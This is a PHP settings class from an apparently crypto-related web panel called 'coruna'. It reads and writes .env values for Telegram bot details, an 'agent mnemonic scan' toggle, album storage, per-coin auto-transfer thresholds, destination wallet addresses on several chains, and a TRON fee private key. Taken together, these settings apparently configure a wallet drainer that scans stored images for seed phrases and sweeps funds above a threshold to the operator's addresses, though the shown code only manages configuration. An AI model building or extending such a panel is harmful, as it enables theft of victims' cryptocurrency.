*/ public const ENV_KEYS = [ 'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME', 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID', 'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE', 'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN', 'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED', 'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT', 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', 'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH', 'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC', 'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB', 'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON', 'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON', 'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX', ]; /** Empty form value means keep existing env value. */ private const SECRET_KEYS = [ 'transfer.fee_private_key_tron', ]; public function get(string $key, ?string $default = null): ?string { $value = match ($key) { 'telegram.bot_token' => config('coruna.telegram.bot_token'), 'telegram.bot_username' => config('coruna.telegram.bot_username'), 'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'), 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), 'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'), 'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'), 'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'), 'transfer.to_address' => config('coruna.transfer.to_address'), 'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'), 'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'), 'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'), 'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'), 'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'), 'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'), 'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'), default => null, }; if ($value === null || $value === '') { return $default; } return (string) $value; } /** * @param array $values */ public function putMany(array $values): void { $envPairs = []; foreach ($values as $key => $value) { if (! isset(self::ENV_KEYS[$key])) { continue; } $str = $value === null ? null : trim((string) $value); if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) { continue; } $str ??= ''; $envPairs[self::ENV_KEYS[$key]] = $str; $this->applyRuntimeConfig($key, $str); } if ($envPairs !== []) { $this->writeEnv($envPairs); } } /** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */ public function applyToConfig(): void { // no-op: no DB overlay } /** @return array */ public function effectiveForForm(): array { $feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== ''; return [ 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''), 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), 'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''), 'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''), 'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''), 'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''), 'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''), 'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''), 'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''), 'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''), 'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''), 'transfer.fee_private_key_tron' => '', 'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0', 'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'), ]; } /** @return list */ public static function parseDomains(?string $raw): array { if ($raw === null || trim($raw) === '') { return []; } $parts = preg_split('/[\s,;]+/', trim($raw)) ?: []; return array_values(array_filter(array_map(static function ($d) { $d = trim((string) $d); $d = preg_replace('#^https?://#i', '', $d) ?? $d; $d = rtrim($d, '/'); $d = explode('/', $d, 2)[0]; $d = preg_replace('/:\d+$/', '', $d) ?? $d; return strtolower($d); }, $parts))); } private function applyRuntimeConfig(string $key, string $value): void { match ($key) { 'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]), 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]), 'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']), 'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']), 'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']), 'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]), 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), 'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]), 'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]), 'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]), 'transfer.to_address' => config(['coruna.transfer.to_address' => $value]), 'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]), 'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]), 'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]), 'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]), 'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]), 'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']), default => null, }; } /** * @param array $pairs */ private function writeEnv(array $pairs): void { $path = base_path('.env'); if (! is_file($path)) { throw new RuntimeException('.env not found'); } if (! is_writable($path)) { throw new RuntimeException('.env is not writable'); } $content = (string) file_get_contents($path); foreach ($pairs as $name => $value) { $line = $name.'='.$this->formatEnvValue($value); if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) { $content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content; } else { $content = rtrim($content, "\r\n")."\n".$line."\n"; } putenv($name.'='.$value); $_ENV[$name] = $value; $_SERVER[$name] = $value; } if (file_put_contents($path, $content) === false) { throw new RuntimeException('Failed to write .env'); } } private function formatEnvValue(string $value): string { if ($value === '') { return ''; } if (preg_match('/[\s#"\'\\\\]/', $value) === 1) { return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"'; } return $value; } }